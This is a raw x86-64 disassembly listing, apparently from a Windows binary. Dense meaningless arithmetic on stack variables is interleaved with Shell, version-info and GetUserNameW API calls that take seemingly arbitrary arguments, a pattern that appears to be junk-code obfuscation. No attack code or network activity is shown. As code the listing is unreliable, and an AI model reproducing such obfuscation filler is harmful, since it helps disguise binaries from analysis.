lea rdx, [rsp + 0xd038]
lea rcx, [rsp + 0xd9c8]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x70bc], eax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d178], ax
mov rax, qword [rsp + 0xd310]
mov qword [rsp + 0xee38], rax
movzx eax, word [rsp + 0x2ba4]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2f34], ax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x534]
shl eax, cl
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xe970]
mov rcx, qword [rsp + 0xe7b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2fb]
and eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov qword [rsp + 0xee40], rax
mov rax, qword [rsp + 0xeba0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6978]
shr eax, cl
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2d9c]
mov word [rsp + 0x2f50], ax
movzx eax, word [rsp + 0xc4c]
mov word [0x14019f4f4], ax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcf8], rax
lea rdx, [rsp + 0xd378]
mov rcx, qword [rsp + 0xd2b8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0x2ca4]
movzx ecx, word [rsp + 0x2010]
sar eax, cl
mov word [rsp + 0x2f0c], ax
mov rax, qword [0x14019f488]
mov eax, dword [rax]
mov dword [rsp + 0x70c0], eax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
shl eax, cl
mov byte [rsp + 0x535], al
lea rax, [rsp + 0xdcc8]
mov qword [rsp + 0xee48], rax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
movsx eax, word [rsp + 0x2e68]
movsx ecx, word [rsp + 0x2f4c]
add eax, ecx
mov word [0x14019efd8], ax
movzx eax, word [rsp + 0x20bc]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b84], ax
mov rax, qword [rsp + 0xe420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0xed00]
mov rcx, qword [rsp + 0xd098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ec8], eax
mov rax, qword [rsp + 0xe858]
mov qword [rsp + 0xee50], rax
mov eax, dword [rsp + 0x6d74]
mov ecx, dword [0x14019d060]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cf0], eax
movsx eax, byte [rsp + 0x445]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0xe408]
mov rax, qword [rax]
mov rcx, qword [0x14019eff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x96b8], rax
movsx eax, word [rsp + 0x28ac]
movsx ecx, word [rsp + 0x2d78]
shl eax, cl
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov word [0x14019f4f8], ax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
mov qword [rsp + 0xee58], rax
movzx eax, word [rsp + 0x2d54]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe930]
mov word [rcx], ax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af8], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov qword [rsp + 0xee60], rax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xee68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa700], rax
mov r8d, 0xd0
mov rdx, qword [rsp + 0xd010]
mov rcx, qword [rsp + 0xce30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x155]
sar eax, cl
mov byte [rsp + 0x43e], al
mov rax, qword [rsp + 0xdf20]
mov rcx, qword [rsp + 0xea98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xe1f0]
mov dword [rcx], eax
lea rax, [rsp + 0x2e18]
mov qword [rsp + 0xee70], rax
lea r9, [rsp + 0xcdd8]
lea r8, [rsp + 0xd668]
lea rdx, [rsp + 0xd8b8]
lea rcx, [rsp + 0x6f70]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x70c4], eax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [0x14019f150]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f4c0], rax
mov eax, dword [rsp + 0x6818]
mov ecx, dword [rsp + 0x5ac4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6100], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57c], al
lea r9, [rsp + 0xee08]
lea r8, [rsp + 0x1e068]
mov rdx, qword [rsp + 0xea10]
lea rcx, [rsp + 0x1efc0]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x70c4], eax
mov rax, qword [rsp + 0xe0e0]
movzx eax, word [rax]
mov word [rsp + 0x2f54], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe458]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x7078]
mov ecx, dword [rsp + 0x68ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0xe990]
mov rcx, qword [0x14019f290]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb48], rax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xda], al
movzx eax, word [rsp + 0x1eb8]
mov word [rsp + 0x2f58], ax
lea rax, [0x14019f4ac]
mov qword [0x14019f500], rax
mov rax, qword [rsp + 0xc048]
mov rcx, qword [rsp + 0xd5a0]
mov qword [rsp + 0xee78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov qword [rsp + 0xee80], rax
mov rax, qword [0x14019f268]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9898], rax
mov rax, qword [rsp + 0xe0e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b20], ax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0x9fe0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc818], rax
mov eax, dword [rsp + 0x5b74]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xee88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5a80], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x596], al
mov edx, 0x7b
mov rcx, qword [rsp + 0xdf60]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x6ee0], eax
lea rdx, [rsp + 0x1e5b0]
lea rcx, [rsp + 0xde50]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xee90], rax
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd050]
mov qword [rsp + 0xee98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6c94], eax
movzx eax, byte [rsp + 0x566]
movzx ecx, byte [rsp + 0x3b3]
or eax, ecx
mov byte [rsp + 0x594], al
lea rax, [rsp + 0x10c8]
mov qword [0x14019f508], rax
movzx eax, word [rsp + 0x2f44]
mov rcx, qword [0x14019f230]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf5c], ax
movzx eax, word [rsp + 0xd98]
movzx ecx, word [rsp + 0x2bdc]
sub eax, ecx
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xdc68]
mov qword [rsp + 0xeea0], rax
lea rax, [rsp + 0x1f7e0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xeea8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e920]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xe4e0]
mov r8, qword [rsp + 0xdde0]
mov rdx, qword [rsp + 0xed18]
mov ecx, 0xd6
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6cd8], eax
movsx eax, byte [rsp + 0x567]
mov rcx, qword [rsp + 0xed58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x58a], al
mov eax, dword [rsp + 0x6f34]
mov dword [rsp + 0x70c8], eax
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xa4f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe3b8], rax
movsx eax, word [0x14019f068]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2390], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc4f8]
sar rax, cl
mov qword [0x14019f248], rax
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce0], ax
lea rcx, [rsp + 0xd8b8]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xe868]
mov rax, qword [rax]
mov qword [rsp + 0xeeb0], rax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd830], rax
movsx eax, byte [rsp + 0x329]
movsx ecx, byte [rsp + 0x591]
add eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6f40]
mov dword [rsp + 0x5f68], eax
movzx eax, byte [rsp + 0x57c]
movzx ecx, byte [rsp + 0x282]
sub eax, ecx
mov byte [rsp + 0x4ee], al
mov eax, dword [rsp + 0x58e8]
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xebc8]
shl rax, cl
mov rcx, qword [rsp + 0xe7d0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2b64]
movsx ecx, word [rsp + 0x2d7c]
or eax, ecx
mov word [0x14019d0f8], ax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f00]
sar eax, cl
mov word [rsp + 0x1bd4], ax
movzx eax, word [0x14019f3c0]
movzx ecx, word [rsp + 0x2e10]
add eax, ecx
mov word [rsp + 0x10d4], ax
movzx eax, word [rsp + 0x2d1c]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x9f98]
mov qword [rsp + 0xeeb8], rax
mov eax, dword [rsp + 0x6cf4]
mov ecx, dword [rsp + 0x6d2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f6c], eax
mov rax, qword [rsp + 0xe0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x597], al
movsx eax, word [rsp + 0x2d6c]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbdc], ax
movzx eax, word [0x14019f038]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd8c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe9d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe928]
sar rax, cl
mov qword [0x14019d298], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb450]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov qword [rsp + 0xeec0], rax
movzx eax, word [0x14019d114]
movzx ecx, word [rsp + 0xd8c]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
mov eax, dword [rsp + 0x6dbc]
mov ecx, dword [rsp + 0x695c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xebb0]
mov dword [rcx], eax
lea rdx, [rsp + 0x7054]
lea rcx, [rsp + 0x20260]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57c]
add eax, ecx
mov byte [rsp + 0x47e], al
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x500]
shl eax, cl
mov rcx, qword [rsp + 0xec28]
mov byte [rcx], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x70d0], eax
mov edx, 0xde
lea rcx, [rsp + 0xd4e8]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6e4c], eax
mov rax, qword [rsp + 0xe990]
mov rcx, qword [rsp + 0xa980]
or rcx, rax
mov rax, rcx
mov qword [0x14019f410], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1714], ax
mov rax, qword [rsp + 0xe448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2794], ax
movzx eax, word [rsp + 0x2e98]
mov word [rsp + 0x2f5c], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xdd30]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xec88], rax
movsx eax, byte [rsp + 0x509]
movsx ecx, byte [rsp + 0x3cc]
sub eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x96b0]
mov rcx, qword [rsp + 0xd0c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6d8], rax
lea rdx, [rsp + 0x2a58]
mov rcx, qword [rsp + 0xd9b0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x70d4], eax
mov rax, qword [rsp + 0xe8a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ff8]
shl eax, cl
mov dword [rsp + 0x6d84], eax
movzx eax, word [rsp + 0x2e90]
mov word [rsp + 0x2f60], ax
lea rax, [rsp + 0x2abc]
mov qword [0x14019f510], rax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe4b0]
mov qword [rsp + 0xeec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeec8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe9f8], rax
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xeed0], rax
mov eax, dword [rsp + 0x5ec4]
mov ecx, dword [rsp + 0x5b30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f5c], eax
mov rax, qword [rsp + 0xe578]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x508]
sub eax, ecx
mov byte [rsp + 0x4d1], al
mov rax, qword [rsp + 0xdd88]
mov rcx, qword [rsp + 0xd960]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6e44], eax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd4c8], rax
lea rax, [rsp + 0x56c]
mov qword [rsp + 0xeed8], rax
movsx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1810], ax
movzx eax, word [rsp + 0x24cc]
movzx ecx, word [rsp + 0x2e48]
add eax, ecx
mov word [0x14019d154], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [rsp + 0xeee0], rax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0x94b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe720], rax
movsx eax, word [rsp + 0x28b0]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2cd8], ax
movzx eax, word [rsp + 0x2e44]
mov word [rsp + 0x2f64], ax
mov eax, dword [rsp + 0x6f30]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xeee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeee8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6fb0], eax
lea rax, [rsp + 0xc818]
mov qword [rsp + 0xeef0], rax
movsx eax, byte [rsp + 0x2bf]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0xbbc8]
mov rcx, qword [rsp + 0xd220]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9350], rax
lea rax, [rsp + 0x1598]
mov qword [0x14019f518], rax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0xeef8], rax
mov rax, qword [rsp + 0xe550]
mov rcx, qword [rsp + 0xda60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [0x14019d228]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xec88], rax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov dword [rsp + 0x70d8], eax
mov rax, qword [0x14019f4a0]
mov rcx, qword [rsp + 0xee48]
mov qword [rsp + 0xef00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef00]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xec48]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2cd8]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f38], ax
movzx eax, word [rsp + 0x2c40]
movzx ecx, word [rsp + 0x1bf0]
sub eax, ecx
mov word [0x14019f170], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [str._vrOj]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
mov word [rsp + 0x2f68], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [0x14019f1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a90], ax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdec8], rax
mov rax, qword [rsp + 0xcb68]
mov qword [rsp + 0xef08], rax
mov rax, qword [rsp + 0xe618]
mov rcx, qword [rsp + 0xe7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7068], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
xor eax, ecx
mov byte [rsp + 0xd4], al
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ea0], ax
mov rax, qword [rsp + 0xed10]
mov rax, qword [rax]
mov qword [0x14019f520], rax
movzx eax, byte [rsp + 0x47f]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe440]
mov byte [rcx], al
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x70dc], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [0x14019f214]
sar eax, cl
mov word [rsp + 0xf48], ax
lea rax, [rsp + 0x2df0]
mov qword [rsp + 0xef10], rax
movsx eax, byte [rsp + 0x496]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4fd], al
mov rax, qword [0x14019f158]
mov rcx, qword [rsp + 0xdfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [rsp + 0x90e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce8], rax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bfc], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
or eax, ecx
mov word [0x14019d230], ax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xef18], rax
mov rax, qword [0x14019f4b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xebf8]
shl rax, cl
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0xe270]
mov rcx, qword [rsp + 0xcac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b20]
add eax, ecx
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov ecx, dword [0x14019f2cc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c0], eax
mov rax, qword [rsp + 0xe3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x598], al
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecf8], rax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7028]
shl eax, cl
mov dword [rsp + 0x7080], eax
movsx eax, word [rsp + 0x1a38]
mov rcx, qword [0x14019f400]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019d2a0], ax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe250]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d50], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d4c]
sub eax, ecx
mov word [rsp + 0xe44], ax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xdda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95c8], rax
mov eax, dword [rsp + 0x70d0]
mov dword [rsp + 0x70e0], eax
mov rax, qword [rsp + 0xe960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x555]
sub eax, ecx
mov byte [rsp + 0x452], al
mov rax, qword [rsp + 0xd9a8]
mov rcx, qword [rsp + 0xee48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdc18], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c08]
sar eax, cl
mov word [rsp + 0x24f4], ax
mov rax, qword [rsp + 0xec70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d74]
shl eax, cl
mov rcx, qword [rsp + 0xee18]
mov word [rcx], ax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [rsp + 0xd380]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d0c0], rax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xef20], rax
mov rax, qword [rsp + 0xe338]
mov rcx, qword [rsp + 0xbce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xd918]
mov rcx, qword [rsp + 0xeb80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
mov dword [rsp + 0x70e4], eax
mov rax, qword [0x14019f1f0]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe488]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6540]
mov dword [rsp + 0x70e8], eax
mov rax, qword [rsp + 0xe578]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3dd]
shl eax, cl
mov byte [rsp + 0x58d], al
mov rax, qword [rsp + 0xed80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cb]
sar eax, cl
mov byte [rsp + 0xaf], al
movzx eax, word [rsp + 0xbdc]
mov word [0x14019f528], ax
movsx eax, word [rsp + 0x2eb0]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2aac], ax
movzx eax, word [rsp + 0x2f3c]
mov word [rsp + 0x2f6c], ax
mov rax, qword [rsp + 0xe388]
mov rcx, qword [0x14019f1f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdc00], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [rsp + 0x328], al
mov eax, dword [rsp + 0x6d4c]
imul eax, dword [rsp + 0x5e40]
mov rcx, qword [rsp + 0xdc60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0xe448]
mov word [rcx], ax
lea rax, [rsp + 0xb98]
mov qword [rsp + 0xef28], rax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov qword [0x14019f530], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xdda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xda20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe8e0]
mov qword [rsp + 0xef30], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0xdd68]
mov qword [rsp + 0xef38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd208], rax
movzx eax, word [rsp + 0x2cec]
movzx ecx, word [rsp + 0x2d68]
sar eax, cl
mov word [rsp + 0x2e9c], ax
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x70ec], eax
